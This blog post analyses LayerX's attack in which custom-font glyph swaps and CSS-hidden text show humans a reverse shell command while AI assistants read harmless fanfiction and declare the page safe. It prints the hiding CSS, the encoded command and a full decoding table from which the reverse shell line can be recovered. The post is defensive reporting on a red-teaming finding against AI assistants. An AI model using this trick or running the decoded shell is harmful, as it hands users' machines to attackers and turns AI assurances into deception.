Research deconstruction · by Xiaohu

Browser security firm LayerX found a new "visual fraud" attack aimed squarely at AI assistants

A custom font and a few lines of CSS do the job. No JavaScript, no browser exploits.
The one-minute read

Cybersecurity firm LayerX has discovered a new type of "visual fraud" attack.

It can silently target AI assistants, and nearly all of them are vulnerable.

The attack exploits the gap between what a human sees and what an AI assistant reads, tricking the AI into vouching for malicious commands.

When you ask an AI assistant to assess a webpage, the AI and a human see the page in fundamentally different ways:

How the AI sees it: The AI doesn't use "eyes" to look at pixels; it directly parses the underlying HTML code structure (the DOM tree).
How you see it: The browser renders the HTML and CSS into a visual image for you.

Attackers exploit this difference with a two-step combination:

Custom font glyph substitution: The attacker loads a special custom font on the page that remaps garbled or meaningless characters into malicious command lines (like a reverse shell command).
CSS cloaking: The HTML contains a seemingly harmless text snippet (like a normal instruction) which is visually suppressed using CSS — shrunk to nearly invisible or colored to blend into the background.

The result:

What the AI sees: The underlying harmless HTML text, so it tells the user: "This code is perfectly safe to run."
What the user sees: A malicious command rendered after font substitution (e.g., a command disguised as a game cheat code that actually compromises the machine).

In tests from late 2025, LayerX found the attack worked against most mainstream AI assistants, including ChatGPT, Claude, Copilot, Gemini, Grok, and Perplexity.

Typical attack scenario: An attacker hosts a page claiming to offer a Bioshock cheat code. The page renders a malicious command line. The user, suspecting it's malicious, asks an AI assistant. The AI reads the underlying harmless code and says "it's safe." The user then runs it on their own machine, giving the attacker control.

⚑ This research comes from browser security company LayerX, which sells browser security products designed to counter such attacks, giving it a financial incentive to make the threat seem severe. The assistant tests were completed in December 2025. Sections marked "our verification" represent our own checks, independent of the LayerX report and the BleepingComputer article covering it.
The Phenomenon

Same webpage: you see a dangerous command, the AI sees fanfiction

Browser security firm LayerX has documented a trick aimed at the "let the AI check if this is safe" workflow: a custom font and a few lines of CSS can make the same webpage show different content to a person versus an AI. In the past, hidden instructions embedded in a page were used to trick the AI itself. This time, it's inverted — the page tells the truth to the AI and lies to the human, making the AI a character witness.

Researchers set up a demo page themed around a Bioshock fanfiction story, promising that following the on-screen steps would reveal a hidden cheat code. The screen shows four lines of large green text, starting with "Would you kindly" — a nod to the mind-control phrase from Bioshock, used here as a hook. The text instructs you to open a terminal and type a command. That command is a reverse shell: you actively connect out to the attacker's machine, and once connected, they can execute anything on your computer. This is more reliable for attackers than trying to breach inbound, because outbound connections are typically not blocked by firewalls.

Same URL, same file What you see Would you kindly open your terminal and type bash … Follow this, lose your PC What the AI reads A Bioshock fanfic plus an unreadable garbled string Verdict: the page is safe No threats detected
Same webpage file, two different versions for two audiences. Left: what the browser renders for a human. Right: what the AI assistant parses and reads. Diagram based on the demo page's actual content.

Below is the real rendered screenshot released by the researchers — what the victim would actually see on their screen.

Demo page rendered in a browser: four lines of large green text on a black background instructing the user to open a terminal and type a reverse shell command
The demo page rendered in a browser. The command on the third line is a reverse shell — running it hands your computer to the attacker. Displayed here as evidence only; do not run it. Source: LayerX.

In December 2025, LayerX tested the page against 11 AI assistants: ChatGPT, Claude, Copilot, Gemini, Grok, Perplexity, Leo, Sigma, Dia, Fellou, and Genspark. None caught it. They noted that even with highly targeted prompts designed to steer the assistant toward finding a problem, the results were the same.

The Mechanism

Three-step trick: shrink a fanfic to 1 pixel, encode a command as garbled text, use a font to turn it readable

We pulled the source code of the demo page and found that the entire trick boils down to three actions, fewer than twenty lines of code in total.

Step 1 Shrink the fanfic to 1 pixel, black text on black background Invisible to humans, still parsed by the AI Step 2 The command shown to the human is written as garbled text in the code The AI sees an unreadable encoding and skips it as noise Step 3 Load a font where the letter drawings are swapped When the browser renders it, the garbled text becomes readable Would you kindly open your terminal…
All three actions work together. The first two ensure the AI reads harmless content; the third ensures the human sees the harmful content. Diagram based on our analysis of the demo page's source code.

Step 1: Shrink the fanfiction to 1 pixel, black text on black background

The fanfiction paragraphs are written inside tags like this. The page's background is pure black, so black text on a solid black background, with a height of just 1 pixel, is effectively invisible. For reference, the line you're reading is about 17 pixels high; 1 pixel is roughly one-seventeenth of that.

Demo page source code · The hidden paragraphs
<p style="color: #000000;font-size: 1px;">This website was created as a tribute to Bioshock</p>

There are four such 1-pixel hidden text blocks on the page. Two are long fanfiction passages (5,014 and 6,570 characters). The other two are a tribute line and a five-word phrase. They remain fully intact in the page's code, so when the AI scrapes the page, this is largely what it reads.

Step 2: The command meant for the human is written as a string of garbled text

In the center of the page is an ordinary <div> containing four lines of characters that look like a base64-encoded blob. An AI assistant seeing this would likely classify it as a "high-entropy string, unreadable without a key," and skip it as noise.

Demo page source · The text meant for the human (as it appears in code)
<div> vRmUwAgRmAiPjwUgARrhjAgRmbAshbVPjcUAcjwAsgrhAfcao
<br>RjJhAgRmAhnhJmshwAPsAsgrh
<br>fcaoADPAHBAFwhuFsJrF859E806E8E35F6266A2HB8
<br>PsAOPUUAcUUROAgRmAsRAahhAgRmbAhcashbAhWWAxbRVAMcrsmbh </div>

These four lines are the four lines of large green text on the screen. The 49 characters in the first line render exactly as "Would you kindly open your terminal and type bash" — also 49 characters.

We also found something in the source code not mentioned in the research report or the news coverage. Directly above the garbled text block, there's another 1-pixel hidden text block containing just five words: LLM Generation Seed:. In other words, the AI reads "Generation seed:" followed by a string of random characters. It doesn't have to guess what this blob is — the attacker has already provided a label for it. This section wasn't present in the source code screenshot released by the researchers, indicating the page was modified after that screenshot was taken.

Step 3: Load a font where the letter drawings are swapped

The page header loads a font file and applies it to the entire page. With 48px font size, green text, and a black background, that's exactly what appears on the screen.

Demo page source · Font and color scheme
@font-face {
  font-family: 'fontie';
  src: url('RaptureFont.ttf') format('truetype');
}
body {
  font-family: 'fontie', sans-serif;
  font-size: 48px;
  background: #000;
  color: #0f0;
}

In this font, the drawing for each letter has been swapped. The glyph named 'c' (the actual drawing of a letter within a font file) is drawn as an 'a'; the glyph named 'v' is drawn as a 'W'. So when the browser renders it, the garbled text becomes plain language.

Individually, each of the three actions is perfectly legal. CSS lets you shrink text and match it to the background color. A <div> can contain any string. A webpage is allowed to load its own fonts. No JavaScript is used anywhere, and no browser exploits are involved. Disable JS entirely and the page still works its deception.

Screenshot of the demo page's HTML source: green box highlights the fanfiction paragraphs shrunk to 1 pixel, red box highlights the encoded garbled text
Researcher's annotated source code. Green box: the fanfiction ignored by humans but read by AI. Red box: the garbled text visible to humans (via font rendering) but ignored by AI as noise. Source: LayerX.
The Blind Spot

Why doesn't the AI notice anything? Because it only reads the code; the browser loads the font and re-renders

When an AI assistant fetches a webpage, it processes the page's code — referred to technically as the DOM (the in-memory text structure your browser builds after parsing the code). It looks at the tags, the structure, and the text within. It does not run the full browser rendering engine, download font files, or compute "what shape does this letter ultimately take when drawn." LayerX calls this class of assistant "non-agentic": they fetch the page and parse the code, but they don't execute a full render or analyze the custom font's glyph mapping.

Same webpage file AI Assistant Path Reads text in the code Doesn't download font files Skips garbled text as noise Browser Path Applies CSS, hides the fanfic Downloads the font Re-draws each letter via glyphs Its answer to you This page is safe What's on your screen A reverse shell command
Two paths, same file, opposite conclusions. Diagram redrawn by us based on LayerX's attack flow.

The attack hinges on an assumption everyone takes for granted: the webpage code is the content, and fonts just make it look nice. Fonts don't change the meaning of the text. This assumption almost always holds, so nobody checks it. And because it's normally safe, the trick works so well.

An Analogy

It's like a contract: the underlying digital document says one thing, but the printer's type blocks have been swapped. Each physical letter mold contains a different character than its label suggests. The proofreader checks the digital file; the signer reads the printed page. Both did their due diligence, but they've agreed on two different versions of the contract.

There's another consequence. The assistant doesn't just fail to spot a problem; it actively tells you "this page looks safe."

When an attacker creates a malicious page and gets an AI assistant to label it safe, they're effectively appropriating that assistant's authority and using its credibility to vouch for their claim.

LayerX Research Report (our translation)
LayerX's attack flow diagram: the same HTML DOM goes into an AI assistant and a browser rendering engine; the former concludes the page is safe, the latter displays a reverse shell command to the user
The researcher's original attack flow diagram. Left path (assistant): reads raw HTML, sees garbled text, sees the fanfic, ignores glyph mapping, concludes "page looks safe." Right path (browser engine): applies CSS, loads custom font, remaps glyphs, hides the fanfic, displays the decoded command. User sees a reverse shell command. Source: LayerX.

It's important to define the scope: this attack targets assistants that "read code only without rendering." If an assistant actually renders the page and looks at a screenshot, it would theoretically see those four lines of green text. LayerX didn't test such assistants; all 11 tested fall into the former category.

Another example of the same logic
You ask AI to write code, it recommends software that doesn't exist. Hackers had already planted a virus under that name.
It also exploits trust in model output: the AI invents a non-existent software package name, and the attacker has already seeded a malicious package under that exact name, waiting for you to install it.
Our Verification

We dissected the fake font: what was swapped was the letter shapes, while the mapping table is clean

The following section is independent of the LayerX report and any news coverage. We downloaded the font file used by the demo page, read its internal tables, and re-rendered the garbled text with it ourselves.

A font file contains a 'cmap' table that maps "which glyph should character 'a' use?" The most obvious way to check if a font has been tampered with is to inspect this table. The cmap in this font is completely normal: character 'a' points to glyph 'a', character '0' points to glyph 'zero', all 5,918 mappings are clean. The GSUB and GPOS tables, responsible for glyph substitution and kerning/positioning, don't exist.

What was tampered with is the outline data in the glyph ('glyf') table — i.e., how each glyph is actually drawn. The glyph named 'a' contains the drawing of an 's'. Some immediately visible metrics:

0

anomalies in the cmap table; all 5,918 mappings are correct

0

strokes are drawn for glyph 'A' — it's blank on screen, serving as a space

2025

width of glyph 'v' — the widest among 26 lowercase glyphs, because it draws a 'W'

169

characters of garbled text, all matched 1-to-1, zero conflicts

Let's match the first 16 characters of the first line. The substitution pattern becomes obvious:

Top row = characters in code, Bottom row = drawn on screen v R m U w A g R m A i P j w U g W o u l d y o u k i n d l y The two A's have no strokes, so they render as spaces (shown by dotted boxes)
The code's vRmUwAgRmAiPjwUg aligns perfectly with "Would you kindly" on screen. The two A's highlighted in red have no outlines in this font, rendering as blank spaces. Diagram made by us using fontTools for table reading and Pillow for re-rendering.

The entire substitution is strictly 1-to-1. The first line has 49 characters, and the recovered sentence also has 49 characters — no more, no less. All 169 characters across the four lines match up without conflicts. Here's the character mapping:

a s
b r
c a
d E
e L
f b
g y
h e
i k
j n
k X
l U
m u
n x
o h
p V
q M
r p
s t
t F
u v
v W
w d
x f
y D
z j
A space
B &
D -
E .
F /
H >
J c
M R
O w
P i
R o
U l
V m
W g
0 6
1 5
2 0
3 4
4 3
5 9
6 8
7 7
8 1
9 2
Left: characters in the code. Right: what this font actually draws (the 14 green-highlighted cells are uppercase letters, the most commonly missed). This table covers all 38 characters used in the four lines of ciphertext. Using it to substitute character-by-character will fully recover the four lines — you can verify it yourself. We read this via fontTools character-by-character rendering.
This verification has a direct consequence: One of LayerX's four recommendations to vendors is to "take the font file, check the character-to-glyph mapping tables, and look for abnormal substitution patterns." But for this demo page, checking the mapping table finds nothing — that table is clean. To detect this, detection needs to go a layer deeper and compare the actual shapes of the glyphs.
The Flaw

The trick has a flaw: copying the command on screen yields garbled text, forcing manual typing

If you select the command line on screen and press copy, the clipboard receives the characters from the webpage code — the garbled string — completely different from what your eyes see. The browser copies the characters themselves, not the drawn glyphs.

Selected on screen

Would you kindly open your terminal…

Pasted result

vRmUwAgRmAiPjwUgARrhjAgRmbAshbVPjcUAcjwAsgrhAfcao

Copy-paste exposes the trick immediately. Diagram based on our verification of the font's substitution mapping.

This means the demo page must compel the victim to type the command manually. The on-screen verb is literally "type," and the word "copy" appears nowhere. But this limitation only applies to this specific page. An attacker could add a script to modify the clipboard, making the copied text the decoded command. So the self-check below isn't foolproof.

Conversely, this provides a ready-made self-check. Similarly, using the browser's reading mode or disabling custom fonts breaks the disguise instantly — the disguise relies entirely on the page's own font. If you switch to a system font, the text reverts to garbled characters.

✅ How not to get fooled
The last three are self-checks derived from our verified mechanisms, not original recommendations from the LayerX report. The first point is from the report and the article.
Vendor Responses

Did vendors fix it? Only Microsoft did. Google downgraded after initial high severity.

LayerX reported the discovery to various vendors in December 2025 (following responsible disclosure: private notification first, public disclosure after an agreed period). Six of the seven ultimately did not fix it, but for different reasons. Four initially said it was out of scope. Google accepted it and then reversed course. Perplexity said it was a general LLM limitation. Two of them essentially said "this is social engineering, not a compromise of our systems" — security professionals classify deceptive tactics like this as social engineering.

→ Table scrolls horizontally; the last column lists vendor responses
VendorSubmittedClosedResponse
Microsoft2025-12-16PendingAccepted on Dec 17, opened a case in its Security Response Center (MSRC), the only one to fully fix the issue. The case remains open due to Microsoft's 90-day disclosure policy.
Anthropic2025-12-162025-12-16Per policy, "social engineering (incl. phishing)" and "content issues with model prompts and replies" are out of scope.
Dia2025-12-142025-12-16Not accepted per project policy: prompt injection leading to misinformation, anomalous behavior, or denial of service is explicitly out of scope.
OpenAI2025-12-162025-12-17The submission in its current form doesn't have enough impact for a severity rating, and this class of issue is explicitly out of scope.
Google2025-12-162026-01-27Initially rated P2 (High), then downgraded and closed: determined it couldn't cause significant user harm and relied too heavily on social engineering.
Perplexity2025-12-142025-12-17This is a known limitation of LLMs processing external web content, not a vulnerability in our own security controls.
xAI2025-12-162025-12-17Model issues are outside the scope of this program.
Submission and closure dates for each vendor, along with their responses, taken from the disclosure timeline in the LayerX report. Vendor responses are our translations.

It's been over seven months since the tests in December 2025. We couldn't find any public information confirming whether the other vendors have quietly fixed the issue. What we can confirm is that the demo page and font file are still online. Fetching the page in plaintext still yields only the fanfiction and the garbled text.

The Fix

LayerX's proposed fix: compare rendered output to the code, and treat fonts as an attack surface

The report suggests four detection measures for vendors, plus one requirement about how assistants should phrase their responses.

1. After rendering, compare with the text in the code A large difference means someone tampered with the rendering layer 2. Scan for hidden content markers Same color, near-transparent, smaller than 5px, off-screen, too much hidden 3. Treat the font itself as an attack surface Our test: checking mapping tables isn't enough; compare glyph outlines 4. Raise risk score if the two sides don't match Harmless code but executable command on screen is most suspicious If these four can't be done, don't say "this page is safe"
Four detection methods and one confidence requirement. The note under the third item is our own verification conclusion; the rest is from the report.

The first is the most practical: one path takes only the text from the code, the other performs a full render with fonts and extracts the visible text, then compares the two. This works without any prior knowledge of the attack method — whether it's font substitution, opacity tricks, or off-screen positioning — as long as what a person sees differs from what's in the code, it gets flagged.

The fifth item is about how assistants should communicate. If an assistant can't render a page, analyze custom fonts, or compare visual vs. code, it shouldn't say "this page is safe." For this case, fixing that final sentence is cheaper than any of the other four.

The web is more than HTML. Meaning can be moved into the rendering pipeline, and any system that only analyzes text is blind by default.

LayerX Report Conclusion (our translation)
Source
New font-rendering trick hides malicious commands from AI toolsBill Toulas · BleepingComputer·Original Link·2026-03-17
Our Notes
The three screenshots (rendered result, annotated source code, attack flow diagram) are from the LayerX research report. The five SVG diagrams, one copy-paste comparison diagram, and the decode table were created by us. The "Our Verification" section, the copy-paste pitfall, and the last three items in the self-check list come from our reproduction on July 30, 2026: we downloaded the demo page's font file, read its internal tables with fontTools, and re-rendered the four lines of characters with Pillow. These are independent of the report and news coverage. The demo page link is for verification only; do not run the command shown on it. Disclosure timeline dates and responses are from the report; Chinese translations are ours. Research published March 17, 2026; LayerX was acquired by Akamai for approximately $205 million, completed July 2, 2026 — after this research was published.